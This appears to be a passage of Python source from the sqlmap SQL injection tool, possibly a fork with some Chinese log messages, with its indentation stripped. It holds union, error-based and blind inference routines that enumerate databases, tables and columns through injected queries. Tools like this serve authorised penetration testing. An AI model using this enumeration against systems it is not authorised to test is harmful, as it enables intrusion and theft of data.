if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[
Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[
Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(
limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(
queries[Backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar]
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart
if conf.limitStop:
stopLimit = conf.limitStop
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields,
"COUNT(*)", 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
count = parseUnionPage(count, countedExpression)
if not count or not count.isdigit():
output = __oneShotUnionUse(countedExpression, unpack)
if output:
count = parseUnionPage(output, countedExpression)
if (not count or (count.isdigit() and int(count) == 0)):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the used SQL query. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
try:
for num in xrange(startLimit, stopLimit):
if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = resume(limitedExpr, None)
if not output:
output = __oneShotUnionUse(limitedExpr, unpack)
if output:
value += output
if conf.verbose == 1:
length = stopLimit - startLimit
count = num - startLimit + 1
status = '%d/%d entries (%d%s)' % (
count, length, round(100.0 * count / length), '%')
dataToStdout(
"\r[%s] [INFO] retrieved: %s" %
(time.strftime("%X"), status), True)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
print
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
if not value:
value = __oneShotUnionUse(expression, unpack)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.debug(debugMsg)
return value
def searchTable(self):
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
foundTbls = {}
tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
if not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
if isinstance(db, list):
db = db[0]
db = safeSQLIdentificatorNaming(db)
foundTbls[db] = []
for tbl in tblList:
tbl = safeSQLIdentificatorNaming(tbl, True)
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)
for db in foundTbls.keys():
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query % db
query += tblQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundTbl in values:
if foundTbl is None:
continue
foundTbls[db].append(foundTbl)
else:
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query, tblCond)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
foundTbls[db].append(tbl)
for db, tbls in foundTbls.items():
if len(tbls) == 0:
foundTbls.pop(db)
return foundTbls
def getColumns(self,
onlyColNames=False,
colTuple=None,
bruteForce=None,
dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = u"缺少数据库参数,sqlmap将使用当前数据库枚举表中的字段"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
if not conf.db:
errMsg = u"无法检索当前数据库名称"
raise SqlmapNoneDataException(errMsg)
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = u"枚举表列时只允许一个数据库名称"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(',')
else:
colList = []
if conf.excludeCol:
colList = [
_ for _ in colList if _ not in conf.excludeCol.split(',')
]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(',')
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
elif not conf.search:
errMsg = u"无法检索数据库'%s'中的表" % unsafeSQLIdentificatorNaming(
conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return kb.data.cachedColumns
tblList = filter(None, (safeSQLIdentificatorNaming(_, True)
for _ in tblList))
if bruteForce is None:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = u"information_schema不可用，后端DBMS是MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = u"无法检索列名，后端DBMS为 %s" % DBMS.ACCESS
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = {
safeSQLIdentificatorNaming(tbl, True): columns
}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
choice = readInput(message,
default='Y' if 'Y' in message else 'N').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = u"在数据库'%s'上获取表的字段" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = u"获取字段 "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB):
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl.upper()),
unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.FIREBIRD):
query = rootQuery.inband.query % tbl
if dumpMode and colList:
values = [(_, ) for _ in colList]
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
values = None
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(
PAYLOAD.TECHNIQUE.UNION):
expression = query
kb.dumpColumns = []
kb.rowXmlMode = True
for column in extractRegexResult(
r"SELECT (?P<result>.+?) FROM",
query).split(','):
kb.dumpColumns.append(randomStr().lower())
expression = expression.replace(
column,
"%s AS %s" % (column, kb.dumpColumns[-1]), 1)
values = unionUse(expression)
kb.rowXmlMode = False
kb.dumpColumns = None
if values is None:
values = inject.getValue(query,
blind=False,
time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
index, values = 1, []
while True:
query = rootQuery.inband.query2 % (conf.db, tbl, index)
value = unArrayizeValue(
inject.getValue(query, blind=False, time=False))
if isNoneValue(value) or value == " ":
break
else:
values.append((value, ))
index += 1
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(unArrayizeValue(values))
elif not isNoneValue(values):
table = {}
columns = {}
for columnData in values:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms(
)].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (
DBMS.ORACLE, DBMS.DB2):
query = _.query % (
unsafeSQLIdentificatorNaming(
conf.db.upper()),
unsafeSQLIdentificatorNaming(
tbl.upper()),
unsafeSQLIdentificatorNaming(
name.upper()))
else:
query = _.query % (
unsafeSQLIdentificatorNaming(
conf.db),
unsafeSQLIdentificatorNaming(
tbl),
unsafeSQLIdentificatorNaming(
name))
comment = unArrayizeValue(
inject.getValue(query,
blind=False,
time=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (
comment, name)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
)
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if len(columnData) == 1:
columns[name] = None
else:
key = int(columnData[1]) if isinstance(
columnData[1],
basestring) and columnData[1].isdigit(
) else columnData[1]
if Backend.isDbms(DBMS.FIREBIRD):
columnData[1] = FIREBIRD_TYPES.get(
key, columnData[1])
elif Backend.isDbms(DBMS.INFORMIX):
notNull = False
if isinstance(key, int) and key > 255:
key -= 256
notNull = True
columnData[1] = INFORMIX_TYPES.get(
key, columnData[1])
if notNull:
columnData[
1] = "%s NOT NULL" % columnData[
1]
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB):
query = rootQuery.blind.count % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (
unsafeSQLIdentificatorNaming(tbl.upper()),
unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.count % (conf.db, conf.db, conf.db,
conf.db, conf.db, tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = unArrayizeValue(
inject.getValue(query, union=False, error=False))
parseSqliteTableSchema(value)
return kb.data.cachedColumns
table = {}
columns = {}
if dumpMode and colList:
count = 0
for value in colList:
columns[safeSQLIdentificatorNaming(value)] = None
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
count, index, values = 0, 1, []
while True:
query = rootQuery.blind.query3 % (conf.db, tbl,
index)
value = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
if isNoneValue(value) or value == " ":
break
else:
columns[safeSQLIdentificatorNaming(
value)] = None
index += 1
if not columns:
errMsg = "unable to retrieve the %scolumns " % (
"number of "
if not Backend.isDbms(DBMS.MSSQL) else "")
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.error(errMsg)
continue
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB):
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(tbl.upper()),
unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace(
"'%s'", "'%s'" %
unsafeSQLIdentificatorNaming(tbl).split(".")[-1]
).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (index, conf.db,
conf.db, conf.db,
conf.db, conf.db, tbl)
query += condQuery
field = condition
query = agent.limitQuery(index, query, field, field)
column = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if not isNoneValue(column):
if conf.getComments:
_ = queries[
Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = _.query % (
unsafeSQLIdentificatorNaming(
conf.db.upper()),
unsafeSQLIdentificatorNaming(
tbl.upper()),
unsafeSQLIdentificatorNaming(
column.upper()))
else:
query = _.query % (
unsafeSQLIdentificatorNaming(conf.db),
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(column))
comment = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (
comment, column)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
)
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,
DBMS.PGSQL):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(tbl), column,
unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(
tbl.upper()), column,
unsafeSQLIdentificatorNaming(
conf.db.upper()))
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (
conf.db, conf.db, conf.db, conf.db, column,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(
".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query2 % (
conf.db, conf.db, conf.db, conf.db,
conf.db, tbl, column)
colType = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
key = int(colType) if isinstance(
colType,
basestring) and colType.isdigit() else colType
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(key, colType)
elif Backend.isDbms(DBMS.INFORMIX):
notNull = False
if isinstance(key, int) and key > 255:
key -= 256
notNull = True
colType = INFORMIX_TYPES.get(key, colType)
if notNull:
colType = "%s NOT NULL" % colType
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
if not kb.data.cachedColumns:
warnMsg = "unable to retrieve column names for "
warnMsg += ("table '%s' " %
unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))
) if len(tblList) == 1 else "any table "
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.warn(warnMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames,
colTuple=colTuple,
bruteForce=True)
return kb.data.cachedColumns
def searchColumn(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common column existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
regex = "|".join(conf.col.split(","))
conf.dumper.dbTableColumns(
columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("n", "N"):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
whereDbsQuery = ""
whereTblsQuery = ""
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(",")
origTbl = conf.tbl
origDb = conf.db
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblCond = rootQuery.inband.condition3
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
column = safeSQLIdentificatorNaming(column)
conf.db = origDb
conf.tbl = origTbl
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
column = column.upper()
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if conf.tbl:
_ = conf.tbl.split(",")
whereTblsQuery = " AND (" + " OR ".join(
"%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl))
for tbl in _) + ")"
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "",
", ".join(tbl
for tbl in _))
if conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join(
"%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db))
for db in _) + ")"
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "",
", ".join(db for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(
" AND %s != '%s'" %
(dbCond, unsafeSQLIdentificatorNaming(db))
for db in self.excludeDbsList)
infoMsg2 = "skipping system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "", ", ".join(
db for db in self.excludeDbsList))
logger.info(infoMsg2)
else:
infoMsgDb = " across all databases"
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if not all((conf.db, conf.tbl)):
# Enumerate tables containing the column provided if
# either of database(s) or table(s) is not provided
query = rootQuery.inband.query
query += colQuery
query += whereDbsQuery
query += whereTblsQuery
values = inject.getValue(query, blind=False, time=False)
else:
# Assume provided databases' tables contain the
# column(s) provided
values = []
for db in conf.db.split(","):
for tbl in conf.tbl.split(","):
values.append([db, tbl])
for db, tbl in filterPairValues(values):
db = safeSQLIdentificatorNaming(db)
tbls = tbl.split(",")
for tbl in tbls:
tbl = safeSQLIdentificatorNaming(tbl, True)
if db is None or tbl is None:
continue
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider, colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
kb.data.cachedColumns = {}
else:
if not conf.db:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
query = rootQuery.blind.count
query += colQuery
query += whereDbsQuery
query += whereTblsQuery
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn("%s%s" % (warnMsg, infoMsgTbl))
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += colQuery
query += whereDbsQuery
query += whereTblsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query)
db = inject.getValue(query, union=False, error=False)
db = safeSQLIdentificatorNaming(db)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
else:
for db in conf.db.split(","):
if db not in foundCols[column]:
foundCols[column][db] = []
origDb = conf.db
origTbl = conf.tbl
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
db = safeSQLIdentificatorNaming(db)
conf.db = origDb
conf.tbl = origTbl
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (
unsafeSQLIdentificatorNaming(column), db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % colQuery
query += whereTblsQuery
count = inject.getValue(
query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % colQuery
query += whereTblsQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query,
union=False,
error=False)
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider,
colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(
kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
if not foundCols:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
conf.dumper.dbColumns(foundCols, colConsider, dbs)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",")
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
values = []
db = safeSQLIdentificatorNaming(db)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
db = db.upper()
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query = query % (dbQuery + exclDbsQuery)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
values = arrayizeValue(values)
for value in values:
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
if not values and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
